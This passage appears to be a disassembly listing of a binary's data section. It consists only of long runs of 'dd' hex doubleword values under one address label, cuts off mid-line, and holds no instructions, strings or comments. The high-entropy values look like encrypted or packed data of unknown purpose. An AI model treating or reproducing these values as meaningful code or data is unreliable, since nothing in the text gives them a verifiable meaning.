407BD4Ch dd 0B214C280h, 680142E0h, 5B6C48D9h, 7F277AC1h, 69D87F0Ah dd 0F606524Eh, 39E8810h, 0CB99BB35h, 4586D17Eh, 0AE890628h dd 585516A9h, 6F162DF5h, 0C605DF6h, 950D9E6Eh, 0CA09773h dd 42B40880h, 46A4097Ch, 7D9734ECh, 8BB71494h, 4254741Bh dd 0D7B4257h, 27F96885h, 0B34A48F2h, 34FA5FCDh, 5CBDBEB2h dd 0A22AC196h, 53A82F5Ah, 0FD42DAC9h, 5F697765h, 0E9548430h dd 4C803C4Ah, 332E4FBBh, 0F8BB07F3h, 0FB60918Ch, 41D3A427h dd 6FE08313h, 0AFE64FD1h, 2DC32B1Fh, 253105EEh, 0A5C29D22h dd 56707C75h, 6A0C6851h, 623F12FDh, 5A4AB3CFh, 8B9A51ECh dd 0AE98A7D5h, 59BB7789h, 9F1E2D64h, 11F0A05Ch, 5013D496h dd 87D1F613h, 0F23E5DEEh, 0D04EC9BFh, 78F6953Fh, 0EC55F659h dd 401F15F0h, 0FA4B8869h, 805BDDB2h, 519670Ch, 0CA810E1Fh dd 4ED06580h, 0C706E2C1h, 0E1AAC3Dh, 6F6CE113h, 0BAD25AB7h dd 9C550C8Eh, 822EBF2Bh, 305DB948h, 35BBA02h, 0AFC1079Ch dd 0E1F58181h, 1D857D13h, 0A6390270h, 69AAF0B3h, 0E65710CCh dd 9BCAA0E7h, 0F7C2E174h, 0F84D344Ch, 7CF95FE9h, 3BDBE9E0h dd 2F285ACh, 2D4F91B2h, 89FE1EFFh, 5B5E7B93h, 23BC2184h dd 8ABA9494h, 87BC932Bh, 0C1A8404Fh, 39611DDEh, 202E7495h dd 55D0EA08h, 70F6EF75h, 224160F3h, 10D2593Ch, 0C4277597h dd 5FFB405Bh, 0F0F6DD01h, 61AE5FD3h, 2726048h, 8348DF5Eh dd 2E1F22F5h, 1EDD1B12h, 31F9B5B3h, 0F7A17842h, 77A17ADFh dd 0FD47167Eh, 6862D8ACh, 14E2BAA9h, 7E4F4AE9h, 0E72CEEF5h dd 0EE099764h, 0A69515DFh, 31D00269h, 8F10D83h, 4CDB5D49h dd 66C30C3Ch, 69DC988Fh, 5B576625h, 0D22C4486h, 4CD86D83h dd 2BF532A1h, 9E1227CFh, 90F6AEA0h, 683966CCh, 9439452Fh dd 0C231B402h, 0D655A48Bh, 6F9AE9D3h, 0A7F7715Fh, 0FD52757Ch dd 0D18455CCh, 9570DE95h, 5D0C815Bh, 35E8D2F7h, 0F4C2EB1Fh dd 54B67F89h, 0EE38E9AAh, 31813E15h, 4BBBC22Eh, 414FD4D2h dd 0F3C4EFF2h, 108FED64h, 0D004D8Bh, 6E70444Fh, 302E0C1h dd 59320A35h, 858F455h, 772F9519h, 999D2A16h, 707F31F0h dd 1856E973h, 0B8D4F680h, 88512815h, 0EBE8E694h, 73EC386Bh dd 0CB808AA8h, 0E3C08816h, 0A3B1A402h, 0D102C330h, 0A43B5BDAh dd 32CBFFFDh, 0E24CF7C9h, 0B9471534h, 32950BBAh, 31CE34E9h dd 62D92CADh, 0A259E12Ah, 605BDD93h, 2D10AF50h, 0FD020962h dd 0F5418CF4h, 40B3B7Eh, 0A8130443h, 1B84CE0h, 78912B80h dd 2603E8C1h, 0B9BD050Ah, 1E0C63Ah, 2D4F3EE4h, 0D406BD4Ch dd 0C3F7E4Ah, 0D5EEA009h, 35E3E0E2h, 805E121Ah, 0CD12FF54h dd 852FB4FAh, 18B3A604h, 0BCBA38E9h, 5AB74F90h, 0ABA2BAD3h dd 29FD22D7h, 5A0BDE55h, 2076645Fh, 583B674Ch, 0BEA6A457h dd 3174B8B0h, 29451670h, 82D10CDh, 9A6AFB40h, 9B9078C4h dd 283FA13Dh, 0E8D6B598h, 0F1AC752Dh, 4B798E18h, 3E22FE6Eh dd 0D514B70Ah, 8C8B3717h, 0F204C06h, 64055C71h, 143CE72h dd 0E4934BECh, 0C241D783h, 0D46CE001h, 97860078h, 54BF0E23h dd 6E13EBBh, 7E75689Fh, 7C14A2A4h, 99DD9D73h, 0B3AC99Ah dd 168931C2h, 0F02F64F4h, 6CEA065Dh, 0C2EBC64h, 23B7CB5h dd 2361E95Bh, 5998B8D1h, 38DE8811h, 0F027585Bh, 25EF8A49h dd 1FB97B86h, 0EFA7E9B1h, 55F68960h, 0DDB951h, 89671A37h dd 0D1C2E9CDh, 5127991h, 5F72E2AAh, 0EE7912FEh, 56000EF3h dd 0C83BD7BEh, 0F628813Ah dd 0C50406D3h, 2D612F75h, 83B50BAh, 30D55E2Fh, 9EADE933h dd 0DD680413h, 0C4C8BC72h, 9AFE4932h, 685B04F5h, 31BB0C21h dd 9D648CBEh, 58CBD111h, 0CE2F9067h, 93219C2Fh, 0FBBE95FDh dd 92BEAAD4h, 857F6DB5h, 0F6BA5706h, 17357E98h, 4F804271h dd 62BDFC60h, 6F416601h, 0A4625E07h, 0C25D07AFh, 548449C3h dd 7FDBEE4h, 99ADA25Eh, 8004A65Ch, 0A2696E03h, 100C3260h dd 2D38DD4Eh, 550B7BE9h, 5F0744D7h, 1FA2A80Dh, 5B05F928h dd 291FC830h, 0F61F69D1h, 12A284FDh, 708BEB01h, 0ED5AE938h dd 985A4DF4h, 5FFBE28h, 0E92F5122h, 749DFC5Dh, 0BF0D3FCh dd 0BC4B544Eh, 7F6AFDD5h, 0A1514575h, 8561238h, 0BCA04669h dd 0B89E9698h, 8BFE5292h, 0F8DD763h, 0EE4B313Ch, 4AE37368h dd 3E688D65h, 0B651F2DDh, 21017D9Ah, 4A6148C2h, 99DDCB8h dd 0ED5EF822h, 800E4D28h, 0F66971E6h, 0AE103DD6h, 6866AC03h dd 0AFA62FE2h, 8057B100h, 0E9D006C1h, 0CC03E4C0h, 0E7160206h dd 0D9B0E9A1h, 0EBAF42F1h, 6855B7A0h, 0DC255F24h, 519C577Fh dd 0A22E916h, 43F0F44Eh, 40D0F7C6h, 0B870808h, 10EA68F5h dd 85193EDDh, 92BEAAD8h, 0F97D22EFh, 20FCB03h, 5B4B3F09h dd 57DE00C4h, 0E6403568h, 4AB05FFCh, 59274802h, 84F8899Eh dd 712958Fh, 192926CAh, 0D03BEA0h, 8F274E98h, 1D185E2Bh dd 0D2EA6508h, 0E342F655h, 9C3B12FBh, 0BABC2447h, 0A1685180h dd 0B4203763h, 4F9700E4h, 0F9090EDDh, 40AC5F4Eh, 7F376FB1h dd 8BDE00FCh, 0E8F63C9Fh, 93C66BC2h, 48C1CA13h, 0B34B9AFh dd 810F826Fh, 0A163E02h, 0D61AFCF6h, 187AF795h, 5825D495h dd 4C1763EFh, 0F475821h, 4F32D925h, 25CBF46Dh, 0C253C224h dd 5C000668h, 0A87C0B68h, 139FB824h, 0ED0C6420h, 0E0EB0260h dd 7D422A6Ch, 80640EAh, 78595850h, 50E04B75h, 0A3274A92h dd 495F79F7h, 9966021Eh, 0A5DE990Bh, 0AD0256A0h, 82A913A6h dd 579CEFFDh, 0F5697CF4h, 0E3896C15h, 7014552Eh, 883D9780h dd 1618BD80h, 7595643h, 301C3C28h, 40F9E935h, 37AC649Fh dd 0C20E5120h, 23FF1FC7h, 225C759Ch, 0B904BC17h, 23A2E698h dd 3B65682h, 0D490EA88h, 5903665Ah, 0D09AE480h, 9427AFECh dd 0E903F480h, 0B562B513h, 0E1C20174h, 20945266h, 0EEFD0ADFh dd 0E4EF77DEh, 0D2A72A0Eh, 0FC3AB212h, 0C580018Ah, 0D87E91Ch dd 90DF45A0h, 0A8C95F0Fh, 2CE8C447h, 6661B800h, 25244577h dd 4B389E14h, 48414A8h, 3C4CED6Eh, 0BC82D2Bh, 262FF8FAh dd 0C969C101h, 4DE0D355h, 10984E50h, 0EE5BCF97h, 35993954h dd 45BF29DAh, 0BF5EF176h, 0B44EC3B7h, 5040C005h, 274377B7h dd 4BC86F64h, 1D0B6689h, 54D14F77h, 0A8023F29h, 0DF29CEABh dd 0E9179770h, 0EC271F24h, 0E1D37192h, 6378E623h, 3F666809h dd 0F2751B7Dh, 9FCC504Eh, 0DBFAD474h, 42CA080Fh, 6A8FB900h dd 2810966h, 250FF3C9h, 0B989C139h, 60E220FDh, 0C1694338h dd 26509D0Ch, 0D57D7093h, 4E3F7E09h, 0A824201h, 0C316AB08h dd 3E4E98E8h, 4CD252DAh, 83880B0Ch, 806FC56Dh, 0C91BF02Dh dd 9A09055Ch, 0F2C247Eh, 50079404h, 8B4001B7h, 0D75E955Ah dd 13EA63C4h, 20C56978h, 0FCBDE64Dh, 0B17865A0h, 9270536h dd 599050C0h, 3FB12AE5h, 13B15694h, 7AC92902h, 0B1CB5E2Ch dd 0A80A7D24h, 43B6C4A7h, 51A0EAB8h, 882868B5h, 2320ABEBh dd 0FD2D5B3Dh, 8F024A58h, 80854006h, 340EC7E2h, 296E3BBFh dd 34081C68h, 6B14101Ch, 2136A10h, 0CBFC6DBBh, 40E48FF9h dd 161935Eh, 9F4A2DDh, 0A0E4D508h, 2EBE660Eh, 70B89652h dd 0BE5822Eh, 0EADF56B5h, 0A0D7F948h, 8A749DB0h, 0E90CBC20h dd 0C032076h, 0F14F12B4h, 141ED40Eh, 14418308h, 55900B6Fh dd 8004FF7h, 0F72D5D3Ch, 95F1CB2h, 0E8C95FA7h, 6BEDC436h dd 2B61E0C2h, 0FC8882DEh, 342C030Ch, 0D828621Dh, 0FCF176B8h dd 6F9E4F4Dh, 21FB38B5h, 8166A1E7h, 6E88C9E7h, 31EC08B5h dd 9C34B2BEh, 5629C98Eh, 0E9C7D97Fh, 17202286h, 6013F670h dd 21EFAA35h, 25448C0Ch, 10E0284Fh, 2112B6B9h, 93D70AF0h dd 21C292C2h, 2289E56h, 0B589EE54h, 65101168h, 0C5B651B5h dd 6CC1C2DEh, 0F77A8FDCh, 2D1711C0h, 1433943Fh, 613F1h dd 6705E3C7h, 90CF013Ch, 0D5088246h, 82D559B2h, 0C8A829F5h dd 0BD1C4F6Dh, 0FC2FE1F3h, 6EE9F009h, 0B0A03DD3h, 0C5585C35h dd 0F261A780h, 0A50B0510h, 0D70683DDh, 4F1FDC22h, 0DC68A3A1h dd 7F89D16Bh, 0B98069F8h, 69034F3Ah, 0C9CF4150h, 96FCB005h dd 0F90BCB01h, 4983C855h, 1FE8014Eh, 5D684258h, 0A797883Bh dd 2FD62C9Ah, 0EF80C25Eh, 90AA16Ch, 0A3E8EF47h, 37393053h dd 0F67B100Ch, 24D49CC6h, 67C7065Fh, 454FFC26h, 68140660h dd 979AC8F2h, 0D2DF9109h, 65505EADh, 61E7833Eh, 0ADE2EB85h dd 0B062CCDFh, 2D014068h, 0F7A95E6Fh, 0DEF4C689h, 40C6BD69h dd 4E4986D6h, 3ED0AFBh, 100F1182h, 8288504Eh, 627C5F07h dd 145BBD80h, 58145CBh, 192243F5h, 0AD5C8302h, 868CEAE5h dd 964BA8EFh, 945F977Ah, 0A548BE19h, 0D37D287Dh, 0E0083B02h dd 0A04FC064h, 0A7330B09h, 0AF84CD31h, 9CF3FCEAh, 3AAEB15h dd 8C07A9F2h, 0BDCAB071h, 0AFC44C63h, 0E70F4312h, 0C8281322h dd 0E946CE1Eh, 4B42F76Ch, 0C321FA5Fh, 1C7428F5h, 309E6F04h dd 0B7173E9Dh, 6900A7B4h, 4F2BD5B0h, 30BFC17Ch, 0D5BF289Fh dd 49C00314h, 1179512Dh, 5F00AADh, 89D32D07h, 586A3A33h dd 1E36E691h, 8B0996BDh, 0C53CC702h, 2462C89h, 540B1A96h dd 2143A0F5h, 0BD90D21Dh, 0B2161760h, 7E90919Dh, 3B41973Ch dd 94E2E3Bh, 7DBDECE9h, 0F35EE712h, 3FAD3D3Dh, 5785B0FDh dd 58402CBBh, 0EB02F0FCh, 767443A7h, 126CDC40h, 0F705D500h dd 3CE125D0h, 0E9483F1Ah, 0A4442224h, 5A0CA4F0h, 101E341h dd 4AF055BAh, 0A2719734h, 0E40F43Fh, 0A2779D50h, 0C3EEC122h dd 46459846h, 0BD4A4C9Bh, 0A5972E3Fh, 0AEFB52F8h, 3E138FB3h dd 953AF67Bh, 3D17C4B3h, 1072E418h, 9826C33Dh, 0E2177FF0h dd 5D560E13h, 88D8C129h, 7FFCFCEAh, 0D1894209h, 7F41775Ah dd 4EC6C3Dh, 7FBF6850h, 0C89031BBh, 7A89078Ch, 77B4A068h dd 0E4D99551h, 4C9C7F49h, 35146813h, 907637FEh, 46ED310Ah dd 12E2E5B5h, 4C3AA251h, 104707F5h, 0AEB33201h, 0C6DB1C54h dd 257D0AA3h, 0F70401B1h, 0E68768D6h, 0C726F059h, 0CD109003h dd 3BFDCC79h, 0E535047Dh, 0C50E77A2h, 0C988BD70h, 689660A0h dd 89B5DEEEh, 0EC767D06h, 205B52E9h, 0D13B9A67h, 0D5DC93E8h dd 5728DCB9h, 0B91D40D1h, 4E395B00h, 388BA60h, 45195FBFh dd 4C2F4930h, 3BE8565Bh, 7025AA91h, 5BF7E0C7h, 0CA26FFD7h dd 18C9F611h, 0C49E044h, 0B400477Fh, 50BA5257h, 0B76BBE09h dd 0E904F5DEh, 0E5E8227Dh, 0EB083DC7h, 0A4CA1100h, 43169446h dd 9504EA83h, 75942C57h, 0E8E7F1AEh, 379180D3h, 3B7BDA01h dd 9F5C5E15h, 0A89B4EB8h, 1FB1C734h, 17E0CB04h, 0FF814FE9h dd 937BC81Dh, 0E752FD8Fh, 0DD052EBh, 2EF85D80h, 0FAE5DFB5h dd 5F008C3Ah, 7F52C2BEh, 0D6ADC053h, 680C599Ah, 7068B0ADh dd 85989744h, 0A1B65093h, 55A4E962h, 6BEFD85Ch, 5A7D787Bh dd 7A5EF056h, 17293C3Eh, 0D9FACB54h, 74A8ED7Dh, 0E20FB895h dd 5D393B0Ch, 0F55F4227h, 1DDBA1Ah, 389E52D1h, 4105A82Bh dd 0D8347E08h, 0D35B1CEEh dd 4BBDE959h, 7F642ABEh, 83E42C99h, 86F2BF12h, 5EA9FD5Eh dd 0B2F55DFCh, 2CC0C598h, 0D6DA61BEh, 95E3075Bh, 0B21C03B9h dd 0DECA8020h, 23437CF9h, 0D488027Dh, 0F6F292E9h, 0D6906934h dd 441D09F8h, 5749B943h, 4CDA8338h, 0EAE32F5Eh, 87861956h dd 0BD9E5AD1h, 0E93C2F52h, 30E4CEFDh, 3B6E1E77h, 0B559CC1Dh dd 0C501FE16h, 80C8B450h, 0F4CC27C4h, 0ECC01246h, 0F3E11608h dd 59048D7h, 55AB1BDAh, 0B5D6A8C3h, 5200569Ah, 92103168h dd 9395A11h, 58DDD5h, 367F1DFBh, 0B731DBE9h, 82CA5A79h dd 7A4DA302h, 6946F453h, 67A26281h, 21AB43D3h, 0CB540E8Ch dd 21187C15h, 3425A4D2h, 0E159E1BFh, 3FE7656Ah, 0E25B1CE2h dd 3D5947Dh, 14E901C2h, 0D6532E9Eh, 748109Fh, 0E6B1515Bh dd 80239192h, 7811777Fh, 0C8893EB9h, 6915E599h, 7B9662BBh dd 79166F5Eh, 35789C99h, 0F8979420h, 0FAD22717h, 53CB1751h dd 0E9EE04D0h, 0E289D4E3h, 2F8D9FC0h, 0A12FB3F0h, 8BBD2D6Bh dd 4DDCA9C1h, 0BAD4A5FDh, 0D3005465h, 1907C8B8h, 3C050572h dd 0F18DE6F8h, 0F4CF4185h, 8164F036h, 37BF105h, 41BE5CD9h dd 0CF74BBFDh, 0C77D3031h, 0F6ECBE13h, 26B200BEh, 0CA290A96h dd 43520990h, 655E00F4h, 610D6BD9h, 71142E4Eh, 1D35005Bh dd 53BEE0Fh, 90DEDB09h, 8460F75Dh, 89E2BCF1h, 4FEAB558h dd 34BEC384h, 0AE9072DFh, 0FAF5AD7h, 201A0D77h, 0AC19E665h dd 875EC4E8h, 73DBE10h, 811E1F01h, 0E922B5E5h, 0F0692128h dd 121D3D1Bh, 0B7E06EE9h, 0CD35C703h, 65D03D60h, 0B5071C20h dd 52D0BA8Bh, 0FCB7CAA1h, 0E9101606h, 30125A78h, 17EAB8EBh dd 8CEF226Bh, 5F82B8E3h, 75F49ED2h, 539A6654h, 0B850F9EEh dd 7E4C766Bh, 0DA3113DAh, 6189C9E9h, 0ED92A356h, 987A53EEh dd 8F2855E8h, 66FA8947h, 0B9F67582h, 55152B09h, 0CB01E8F9h dd 346F06BFh, 0E9031285h, 1682EC38h, 3D64C801h, 0B85E49D8h dd 619B2F75h, 0D5A74CF9h, 86DABA09h, 760DE912h, 5115C706h dd 0DF5B97D9h, 0FE19EB07h, 7FBE56E0h, 5F982D54h, 0D6057B52h dd 6A41E946h, 0B617DCAAh, 0B628C040h, 39C1089Fh, 47D82C0Fh dd 534004D0h, 7C0F1B3h, 0C3FE07E3h, 0E9B92080h, 9EB234B0h dd 0DA22650Bh, 4D13272h, 800226AEh, 0C37DB6EFh, 0BC830CDh dd 6F30C2EBh, 390EFD37h, 0D2D1E4h, 7916755Dh, 0F551C069h dd 8C5F25E1h, 67B3C8B2h, 0F82278EBh, 0C661C048h, 24936A51h dd 102EA9Fh, 0A6E95A08h, 2520A735h, 285BFA3Ah, 4ADBEDC1h dd 7AEEE149h, 3F9E1DA2h, 0FC2CF693h, 1FE96D5h, 8D5DF165h dd 0BCE43F48h, 51E903C2h, 0D129690Fh, 3A1F36B1h, 2568AB38h dd 0B4180812h, 81832D22h, 0C9C659C8h, 122150E5h, 807FD76Fh dd 43D87E25h, 0B170CC1h, 127029EAh, 56CB26F6h, 0EDDE1589h dd 0D4CE077Bh, 0B217FC63h, 595F8CB9h, 0E35547E6h, 0A74FCC3Eh dd 442183E5h, 0AC351281h, 6A106938h, 1F222B04h, 0D8EC5E0Ch dd 8F918501h, 4F14BA52h, 382828C9h, 92B8004Fh, 29B36124h dd 0D2046C97h, 82080710h, 174F22Ah, 9E104248h, 681990B5h dd 0AD724FE2h, 3805B156h, 0A238BD2Bh, 0A0A8C65Ch, 2715BA8Fh dd 0DD7CEBh, 7B7A2598h, 2F6EC2Dh, 0D33D593Ah, 0AED4E6C1h dd 1FD4FC0Fh, 1F345B2Dh, 145E7ECh, 0CD160144h, 2FFC2AE5h dd 0C7E18DAh, 5935E8E2h, 0A01900E7h, 4BDBF775h, 0B74012C1h dd 116BAD14h, 0B74ED51Eh, 7DC0C415h, 3877891Ch, 1098134Ch dd 251C9060h, 0CF3E6Ah, 2E0C12Ah, 0AAEEE435h, 48A5F35Ah dd 48061880h, 0E24742Dh, 47091175h, 518FB4h, 0AC1A4E04h dd 0A2CA9769h, 475F080Bh, 2CE9057Dh, 6031EFC5h, 192EF9BEh dd 3F098B8h, 2C06E8ACh, 4A66F409h, 19BD88BCh, 18C40C95h dd 0EFB88012h, 0DF9C0B3Eh, 0B758ED4Ch, 0DCE90E2Dh, 0E789781Bh dd 0A800742Bh, 340FC8Fh, 3ED58951h, 8635A002h, 0FD7E414Dh dd 0CBB9E96Bh, 0E745D75Fh, 0D755548Ch, 6FA441EEh, 0EA2B7AE1h dd 27E9CE7Ch, 37743674h, 952BBB50h, 0FF45F7F1h, 0EFD2A7ACh dd 0C2BFAFD4h, 0AD5C12E2h, 0BD3ED8Fh, 5D8A2BD8h, 0EBF60802h dd 0EF96FC57h, 18F14C86h, 3B196804h, 0AAAC261Ch, 0FE480517h dd 0F42E2B99h, 335EE9BEh, 0C5BA0C00h, 95444B4Eh, 0BE8458h dd 0C2A78418h, 1F9576A6h, 0FFD101BCh, 2A426F25h, 5AE77475h dd 5175DDA9h, 798B4747h, 11B5BCCCh, 0DB7F34ABh, 325E2F43h dd 0E6624091h, 59F1BC07h, 0AB173E6Eh, 6E99DFEh, 0C10BD580h dd 8FC66644h, 0BC49D5Ch, 0BAC37ADDh, 0BCAF844Bh, 90C7F0E3h dd 84C4642Eh, 123784CFh, 4AB8B808h, 27C15A91h, 27A6E72Bh dd 0AA225F5Ch, 0FED310EEh, 67776884h, 821465AAh, 0F6553117h dd 8979C958h, 648F5D2Fh, 4725AB26h, 0F474A420h, 28115584h dd 0B36EF7F5h, 0CBEC5FB5h, 1344E90Bh, 768CF759h, 0BF79D11h dd 31A30A6Eh, 0D9FD44F8h, 5BBD7817h, 0E27E182Dh, 467A4DBBh dd 44F250DAh, 47ACE9Fh, 0CD0218B8h, 5752C041h, 0B769D6E9h dd 3FC7D462h, 0B02DC0DEh, 0B4020C09h, 403E8C0h, 0C223758Dh dd 22779819h, 990689Dh, 0B75A3F9Bh, 0B4ED7716h, 2D3CA5D6h dd 9800DA75h, 0B1F18141h, 32660676h, 0F5DF0EE9h, 3DD7C504h dd 0E8BBC3A5h, 1E5387E8h, 0D1F50108h, 60470F0Ah, 12E22F3Dh dd 55A5725Eh, 985D0802h, 0C024087Eh, 260CF141h, 569F327Dh dd 4A6A1140h, 483BCDFAh, 54B7665Eh, 0E97F92BDh, 0CA246F2h dd 69093668h, 0F81F5B9Ch, 0F529B1BEh, 9CA55FFCh, 3FB9402Dh dd 61F486Bh, 0D5CACA21h, 0F3AABD1Dh, 7EA10D20h, 5FA42442h dd 1CA6A0AAh, 93C371E3h, 46F9004Ah, 0C148774Dh, 8B08EE28h dd 95BBF80Ah, 9B00C707h, 150E804h, 802AB0F2h, 95BEE908h dd 0DEF39168h, 2AA64316h, 8EC39200h, 20AF3252h, 4AB9DD29h dd 3B084D24h, 67B51EDAh, 503DC875h, 34B305B0h, 0CBC528D2h dd 0E80370D4h, 28BB2C59h, 6646FFD8h, 51DD254Eh, 9575F3C6h dd 8346799Fh, 5DED730Fh, 0DE52984Bh, 41D313ABh, 8362F2E8h dd 6A0C9E32h, 1D93A82h, 63F37DDFh, 4AE9D704h, 5168EACh dd 7EE9F602h, 5C606531h, 656F5159h, 0DD16BAEDh, 5BE9136Ch dd 9A80754h, 677872C3h, 5741A6C8h, 5501AF4h, 2D07405Dh dd 31341599h, 744B2560h, 7E5E7BA9h, 48812D05h, 0BAE9CD60h dd 0BFE1049Fh, 6B07A1FFh, 9FC5E2F4h, 0D32716F4h, 0C096137Ch dd 9C3B9C4h, 497B232Fh, 693C994Bh, 0D36CB64Bh, 4498CDAEh dd 0B403B923h, 0D70B6EC3h, 3FF56847h, 93BEE161h, 0DFA6A22Bh dd 55732249h, 0B5685F38h, 0C9ED4A4Eh, 0F6F3E9A1h, 0E9F8F7DCh dd 279A64FCh, 42D3E53Ch, 2BDC1B30h, 9F65D725h, 910DEB0Ch dd 0C09B0BF2h, 3E7601B9h, 0B51DDD9Bh, 9A49FBB0h, 0D2D0FACBh dd 6C9CFA1Bh, 0E7AAFE53h, 4D69EE2Eh, 0F65CD785h, 2FF2BFF1h dd 0A164EA11h, 0BA3C0D97h, 55874FD6h, 0C31813A6h, 14ADEB4Ah dd 0C1DF277Bh, 8A881AC6h, 2D023BBFh, 72E91CFBh, 936ADB15h dd 60861E51h, 2CC0FE04h, 0C3EB53D4h, 0FEF5FDE4h, 257B5BB6h dd 0E6CABB3Fh, 5E7B0DF0h, 0FDB2032Dh, 0BF57E610h, 4647E3Ch dd 0E7C14707h, 893153C7h, 2EE374h, 164B60BEh, 6B013503h dd 0E9112E6Ch, 903AA8C8h, 0C9B2B589h, 10B09E60h, 9D65FC60h dd 882637Ah, 22582F7Eh, 0F744C6ADh, 254BC6DEh, 4D232E9h dd 49214785h, 9042DFC7h, 7BB5FC55h, 59B1D001h, 0E7D10F0Ch dd 0CFD3002Ah, 447839FDh dd 0E2EFC137h, 322A3630h, 23ADA061h, 383EC553h, 0ADEA06C1h dd 0ED4A750Ch, 0B87917FBh, 757A1864h, 1444F21Bh, 0B64AA084h dd 6812025Ah, 0DAF12B43h, 181F8E30h, 2F1D793Ch, 73E35FFAh dd 4EB9E45Fh, 87A5E90Ah, 8616BBA6h, 0B48F6A9h, 0D6295868h dd 0DA2C6764h, 0FD2A832h, 5A3EBC41h, 0FE2131C5h, 450B8A75h dd 1216DF22h, 2A40B6B0h, 0E22E0BBBh, 62FFF869h, 0C8457B7h dd 2FBFA9A3h, 41BEEAEEh, 1692D080h, 0FE3BF5Bh, 1C18F13Fh dd 0F681C39Fh, 0D64BF0Eh, 9CEC00Ah, 9045F83Eh, 523F2DC5h dd 9DFF8E68h, 5F92B2B9h, 30E9DE2Ch, 0C689CBD1h, 14702224h dd 8202CB9h, 72B1B0C4h, 0F2BF20BBh, 213E9004h, 510F96A6h dd 9E9D87F8h, 45029254h, 0FE4CFE9Dh, 8858D902h, 0F6D17DE1h dd 0BBE98086h, 21945806h, 0D3634633h, 26C80CE1h, 106B48FFh dd 0D11F765Ah, 16779AE2h, 0C6A6C511h, 3B097DDAh, 0AB417B25h dd 0FD427FEFh, 5511C4D5h, 5862A5D1h, 430BCC07h, 4C45D22Eh dd 5BDE47E8h, 2F5F6C98h, 4E7B54B7h, 0B321006Bh, 0BBCB8045h dd 4EBC016h, 0EE580BFBh, 3C45E2DBh, 1049C954h, 3128AE90h dd 0EB0827EFh, 74A54DC5h, 1E8ECFBBh, 24068D25h, 5C081AD2h dd 30DFF629h, 97FE4790h, 0FD3B1A5Dh, 0F5012DC0h, 77691E99h dd 684111F9h, 4F986C5Fh, 0F680C1ACh, 0C60CA073h, 0ACEFEBAh dd 8EE91B1Bh, 43782A39h, 0D160F727h, 69D74337h, 12FB954Bh dd 58C2BACCh, 248D82DDh, 0CB5B0564h, 8DE95A42h, 0BF5E789h dd 45C65560h, 0E92513F8h, 5D2D0329h, 0A24D8B05h, 0AC82FF11h dd 5E02C76Dh, 2EAA8046h, 0A0260D4Ah, 2E3F90A8h, 13F93B42h dd 853E463Eh, 1620BB0Ch, 0C4B009D6h, 6C0BC328h, 0F38082DDh dd 0FC8ED88Eh, 0C7459F49h, 0FFB99F04h, 0AD0BECBEh, 0C2B8E82Eh dd 9452DCE9h, 137884A3h, 300E5168h, 6B2524Fh, 0E97801B5h dd 0C02C0337h, 3CDBB9C0h, 814F3A25h, 76133BF8h, 0B2F60105h dd 3A230A1Bh, 0AC4807FEh, 5818104Dh, 134A6968h, 0E16F234h dd 5A8B9D88h, 0D24C283Ch, 0D6B9265Fh, 2C8B57CFh, 0F7368B5Fh dd 0C1D780B2h, 0BC7D0D64h, 2D5DBD30h, 47671BF4h, 7DABCAECh dd 0D42124B2h, 0A29FB353h, 0D59DFC10h, 27563900h, 86A14CD8h dd 2CBE78F7h, 2E0D3A89h, 0FD679D30h, 434708D2h, 4F907025h dd 4E89CA58h, 0CFDC29ABh, 0F8476081h, 1814CFE2h, 0F728ABh dd 21ED4180h, 4F07EAC1h, 0FF43C142h, 0A9E9E030h, 820DDD58h dd 5F42447Ch, 5A687121h, 28286F6Ah, 0E3E64CE9h, 6D5410C1h dd 684081D4h, 0F76B6919h, 0CC20B2Ah, 474BF07Bh, 4E0A0993h dd 0AC663CF5h, 7523A274h, 0F920FA52h, 94BD0060h, 21357667h dd 61955DEAh, 13B2DA5h, 5AF188F3h, 0EDC8D150h, 5E43460h dd 590F6407h, 2DC52936h, 0FE6D071Dh, 66D5A760h, 98E91740h dd 0DAE9213Dh, 0B8EA0487h, 10667EF6h, 4BADF4D1h, 1748AD2Dh dd 34BFC289h, 84A080A1h, 926C320h, 4A16F583h, 1586790Dh dd 9705B22Eh, 135BB8F0h, 0EE103162h, 0FA4CE081h, 78DEA22Bh dd 0E7891B01h, 59CE098Eh, 35F498E7h, 0E86F581Eh, 8F50F501h dd 25E8E949h, 0F5A72E8Dh, 0CCCDFFD3h, 35F2B6AFh, 0C1BAFEB5h dd 6BC3B6E9h, 3E7CFA41h, 0DF70525Ch, 61680271h, 24C7E921h dd 4219855h, 0F0281DEFh, 0BF983F2Ch, 87D3CD3Bh, 5304DD60h dd 1B5F5B57h, 0A7426E68h, 0F9FF3C27h, 7E90BDBh, 7C046B6Bh dd 3E336ACCh, 2A13CC3h, 162DC5E7h, 0E05E05E0h, 0B5769128h dd 2310B724h, 5FB9430Bh, 0ABB42CB4h, 5DA8095Ah, 59D7C642h dd 2F43425Ch, 472420F1h, 933250Ah, 75916BCh, 921707F3h dd 4065B34Ch, 475E8F14h, 0C2C924Fh, 9721393Dh, 97D91655h dd 162ECBE8h, 0EE552585h, 84BAA527h, 0C84026E9h, 0F441CBA2h dd 0E83FEB61h, 0B042ADCAh, 11EC7F18h, 6A786813h, 81FE29FAh dd 415BBB32h, 5A8A732Ch, 0DFA0984h, 30B052E9h, 88ECC784h dd 0EDE1C25Ah, 0F92809F5h, 28892C01h, 0D6B151E8h, 65F28BC1h dd 2F1471BAh, 83ACABF8h, 0E9FFEE04h, 0CEEA4312h, 0E3BD038Bh dd 0F07DB31Dh, 33B48CDh, 0E9534CA1h, 0AE85572Bh, 0C13E33E3h dd 0DF7C0B33h, 687A5654h, 0B47BF824h, 20C95AD2h, 0C998852Fh dd 5BB8EB4Dh, 33A369A8h, 0E2E9BA13h, 443C98F9h, 59580C0Fh dd 6555AE69h, 347D3F56h, 0EA312C14h, 4E0377F0h, 856827E7h dd 8EAED5D3h, 1592D8Bh, 0FD39F80Ch, 4161E62Eh, 2E2E1FBh dd 32596459h, 57B02958h, 0C89FD0F0h, 58B8E93Ch, 0A99726D3h dd 7FB95EDFh, 0C3282C4Eh, 0E23A0541h, 7EF1FA8h, 0A004F3Ch dd 6F558C0Dh, 0B88FBD79h, 0B20C2AA5h, 0D7542709h, 2CB22567h dd 0EB0F0984h, 85C2BE72h, 295C5DE3h, 7A539F74h, 0B55B4CEBh dd 24142A42h, 53685480h, 0F1ED264Fh, 1333F684h, 52BEBB12h dd 106CACC3h, 572FBB30h, 4FABD4B0h, 5569199Eh, 0BB6F8624h dd 495463A7h, 0B45D08A8h, 0DC200135h, 0DC040A8Ah, 55530018h dd 26160968h, 4401B74h, 0C43B3ACDh, 0DDA0AFE6h, 97C90BF5h dd 10DF3DB8h, 81B5EAFCh, 70002B29h, 